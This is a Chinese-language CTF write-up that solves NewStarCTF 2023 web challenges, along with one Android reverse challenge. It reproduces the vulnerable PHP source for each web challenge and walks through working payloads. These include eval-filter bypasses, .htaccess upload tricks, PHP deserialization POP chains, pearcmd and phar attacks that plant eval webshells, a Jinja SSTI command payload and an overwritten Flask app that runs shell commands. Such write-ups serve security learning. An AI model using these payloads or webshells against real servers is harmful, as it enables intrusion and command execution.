NewStarCTF2023
主要是再来把web板块的题来做一做
WEEK 1
先补一道reverse
虽说是个很...的apk (这种出着有什么意义吗...)
lazy_activtiy
重点代码段:
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.layout_2);
final TextView textView = (TextView) findViewById(R.id.textView2);
final EditText editText = (EditText) findViewById(R.id.editTextTextPersonName2);
((Button) findViewById(R.id.button)).setOnClickListener(new View.OnClickListener() { // from class: com.droidlearn.activity_travel.FlagActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View view) {
textView.setText(Integer.toString(FlagActivity.access$004(FlagActivity.this)));
if (FlagActivity.this.cnt >= 10000) {
Toast.makeText(FlagActivity.this, editText.getText().toString(), 0).show();
}
}
});
可知flag为editTextTextPersonName2
jadx搜索
flag:
flag{Act1v1ty_!s_so00oo0o_Impor#an#}
EasyLogin
开局一个登陆界面 随便注册一个号进去
是一个shell界面
ctrl+c ctrl+d 退出他的程序 回到bash/shell
按 ↑ 查看历史记录
这里提示用弱密码登陆
这点就很离谱 我怎么知道你的弱密码是那些...
wp给的:
然后我试到了最后一个 000000 。。。
登陆后 同样查看history
退出 开bp抓包再登陆一次
然后这里能截取到一堆302重定向(从来没关注过bp的这个地方...)
查看响应 找到flag
这题挺考脑洞的 我觉得就算有了这些知识后也不一定想得到在302找response啊... 而且很好奇为什么比赛时有那么多人出...
R!C!E!
这题当时费尽周折做出来了
现在再复现一下
<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
$password=md5($_POST['password']);
$code=$_POST['e_v.a.l'];
if(substr($password,0,6)==="c4d038"){
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
}
}
几个点:
- url特殊字符传参
- md5碰撞
- shell正则绕过
e_v.a.l可以通过 e[v.a.l 来传
payload:
password=6O48A7ZyA0nskVwOIGCQ&e[v.a.l=echo `l\s`;
password=6O48A7ZyA0nskVwOIGCQ&e[v.a.l=echo `l\s /;tac /f*`;
现在看好简单...
WEEK 2
Upload again!
这种不给waf代码...
几个考察点:
- 绕过
<?
限制的一句话 - .htaccess绕过
.htaccess: 让服务器把.jpg当作php来解析
AddType application/x-httpd-php .jpg
2.jpg:
这里如果用edjpg等直接在jpg中嵌入php也会被检测出
这里bp抓包 随便传一张小一点的图片
然后把内容改为一句话
上传后再上传.htaccess
访问 /upload/2.jpg
POST传hack=phpinfo();
成功getshell
总结下这题就是几个文件上传的平常考点 当时赛时没做出应该是没有想到waf过滤了<?
...
Unserialize?
最基础的反序列化
考察点:
- +换成%20或者空格
- head绕过cat/tac/more/tail
payload:
unser=O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A4%3A%22ls%20%2F%22%3B%7D
unser=O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A8%3A%22head%20%2Ft%2A%22%3B%7D
R!!C!!E!!
进去提示有information leak
用dirsearch扫扫
扫到git git泄露
由于扫到index 查看 发现有个bo0g1pop.php
获得源码
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}
第一个正则替换是将任意字符加上可选括号(可嵌套)替换为空 然后判断是否等于分号
结合下面的eval 这里考察点就是无参数RCE
这里可以本地试一下 比如
phpinfo(); => ;
phpinfo(123); => phpinfo(123);
后面加了一点waf
这种就上网找找 挨个看看能不能绕过即可
参考
+
++
这里实验发现可以用getallheaders()
那么在header里面改一改 就可以arrayreverse+pos取出来了
我这里是改的x-forward-for 所以用next
GET /bo0g1pop.php?star=eval(next(array_reverse(getallheaders()))); HTTP/1.1
Host: 5445fb27-3031-45c9-ae29-44e9bf923213.node5.buuoj.cn:81
User-Agent: xxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
X-Forward-For:phpinfo();
Referer: http://5445fb27-3031-45c9-ae29-44e9bf923213.node5.buuoj.cn:81/bo0g1pop.php?star=print_r(getallheaders());
Upgrade-Insecure-Requests: 1
即可RCE
改改payload即可拿到flag
WEEK3
Include 🍐
刚好借着这道题学学pear cmd
参考:
phith0n
访问phpinfo 可以得到这样的提示:
fake{Check_register_argc_argv}
发现确实是on 所以有pear cmd 的漏洞利用条件
payload:
/?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[1]);?>+/tmp/222
/?file=/tmp/222.php
POST: 1=xxx
但我复现的时候这个 <
会被url编码... 导致不是php语句形式无法执行...
POP Gadget
反序列化pop链
<?php
highlight_file(__FILE__);
class Begin{
public $name;
public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}
class Then{
private $func;
public function __toString()
{
($this->func)();
return "Good Job!";
}
}
class Handle{
protected $obj;
public function __call($func, $vars)
{
$this->obj->end();
}
}
class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}
public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;
public function end()
{
unset($this->handle->log);
}
}
class WhiteGod{
public $func;
public $var;
public function __unset($var)
{
($this->func)($this->var);
}
}
@unserialize($_POST['pop']);
这题魔术方法考得还挺多:
看php manual
- 在对象中调用一个不可访问方法时,__call() 会被调用。
- 当对不可访问(protected 或 private)或不存在的属性调用 unset() 时,__unset() 会被调用。
- 当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
然后由于只能控制一个func一个arg 所以采用readfile("/flag")来读取
pop链:
Begin(destruct中的preg触发tostring)->Then()->super->call->Handle->CTF->WhiteGod
$pop = new Begin(new Then(new Super(new Handle(new CTF(new WhiteGod("readfile",'/flag'))))));
echo(urlencode(serialize($pop)));
pop=O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A8%3A%22readfile%22%3Bs%3A3%3A%22var%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7D%7D%7D%7D
R!!!C!!!E!!!
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}
GenShin
真服了 在这里看到
然后访问提示get name传参
随便试试 大致是SSTI 还设置了很多waf
过滤了{{}}
这些
参考 +
尝试
{%print(7*7)%}
发现成功
这里可以像参考文章那样找可用子类 也可以学习一手官方wp做法
用 内置函数 get_flashed_messages
payload:
/secr3tofpop?name={%print(get_flashed_messages.__globals__.os["pop"+"en"]("tac /f*").read())%}
WEEK4
逃
php反序列化字符逃逸
这题是变多
<?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}
class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}
unserialize(waf(serialize(new GetFlag($_GET['key']))));
可以发现我们的可控参数点只有key 所以要利用waf变长将cmd给覆盖到
注意我们传的是key的值 所以前引号不需要加 而后引号 后括号都需要补好
payload
/?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}
/?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}"
More Fast
<?php
highlight_file(__FILE__);
class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}
class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}
class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}
class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}
class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}
class Misc{
public function evil() {
echo "good job but nothing";
}
}
$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
先来看反序列化链的构造
这里又用了几个新的魔术方法:
- 读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用
- 当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
pop链:
Start -> Crypto::toString -> Reverse::get -> Pwn::invoke -> Web::evil (misc没啥用)
这里的难点在于反序列化位有一个throw exception
这里参考wp利用GC垃圾回收机制提前触发 利用修改数组下标绕过
可参考 +
然后修改
即可绕过
flask disk
学习到了新知识
flask开启debug后 app.py源文件被修改后会立马被加载
而这题提供了文件上传功能 所以我们覆写app.py 使其能够RCE即可
这里要学习一下写法 不能出现语法错误
from flask import *
import os
app = Flask(__name__)
@app.route('/')
def index():
try:
rce = request.args.get('rce')
data = os.popen(rce).read()
return data
except:
pass
return "233"
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000,debug=True)
popen不要写快写成open... 写错了就只能重开靶机了
然后?rce传参即可getshell
PharOne
phar反序列化初步学习
参考:
+
这里就直接跟着wp复现一遍了
源码查看得到提示 class.php
访问得到源码:
<?php
highlight_file(__FILE__);
class Flag{
public $cmd;
public function __destruct()
{
@exec($this->cmd);
}
}
@unlink($_POST['file']);
典型的没有显示反序列化触发 + unlink => phar
这里由于是exec 所以没有回显 我们通过向根目录写入webshell来rce
注意到是Linux下的 所以我们webshell要加斜杠转义
这么写:
<?php
highlight_file(__FILE__);
class Flag{
public $cmd;
}
$a=new Flag();
$a->cmd="echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/2.php";
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
system(rename("2.phar.gz","2.jpg"));
中间需要使用Linux gzip
gzip -f 2.phar
然后上传2.jpg 再在class.php
POST:
file=phar://upload/xxx.jpg
触发这个unlink 这样我们的2.php就写入了网站根目录
蚁剑连接 http://5286e487-6111-455c-b472-a3a5b64d8232.node5.buuoj.cn:81/2.php
getshell!
Week5
Unserialize Again
源码提示cookie 找到pairing.php
<?php
highlight_file(__FILE__);
error_reporting(0);
class story{
private $user='admin';
public $pass;
public $eating;
public $God='false';
public function __wakeup(){
$this->user='human';
if(1==1){
die();
}
if(1!=1){
echo $fffflag;
}
}
public function __construct(){
$this->user='AshenOne';
$this->eating='fire';
die();
}
public function __tostring(){
return $this->user.$this->pass;
}
public function __invoke(){
if($this->user=='admin'&&$this->pass=='admin'){
echo $nothing;
}
}
public function __destruct(){
if($this->God=='true'&&$this->user=='admin'){
system($this->eating);
}
else{
die('Get Out!');
}
}
}
if(isset($_GET['pear'])&&isset($_GET['apple'])){
// $Eden=new story();
$pear=$_GET['pear'];
$Adam=$_GET['apple'];
$file=file_get_contents('php://input');
file_put_contents($pear,urldecode($file));
file_exists($Adam);
}
else{
echo '多吃雪梨';
}
一样的phar反序列化 我们自己POST一个phar文件 利用php://input+file_get_contents+file_put_contents写入
然后利用file_exists传phar://来触发phar反序列化写🐎
构造phar:
private $user='admin';
public $pass;
public $eating="echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/3.php";
public $God='true';
...
...
$o = new story();
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
然后修改属性个数绕过wakeup
注意到签名部分0x02 -> sha1
如下脚本:
from hashlib import sha1
with open(r"D:\phpstudy_pro\WWW\MYWEB\2.phar",'rb') as f:
text = f.read()
s = text[:-28]
h = text[-8:]
newf = s + sha1(s).digest() + h
with open(r"D:\phpstudy_pro\WWW\MYWEB\22.phar","wb") as f:
f.write(newf)
然后自己写个POST上传:
import urllib.parse
import os
import requests
url='http://72d0d22d-5473-467b-ac1a-32466ba3d96c.node5.buuoj.cn:81/'
params={
'pear':'22.phar',
'apple':'phar://22.phar'
}
with open(r'D:\phpstudy_pro\WWW\MYWEB\22.phar','rb') as fi:
f = fi.read()
ff=urllib.parse.quote(f)
fin=requests.post(url=url+"pairing.php",data=ff,params=params)
print(fin.text)
蚁剑连接xxx:81/3.php一把梭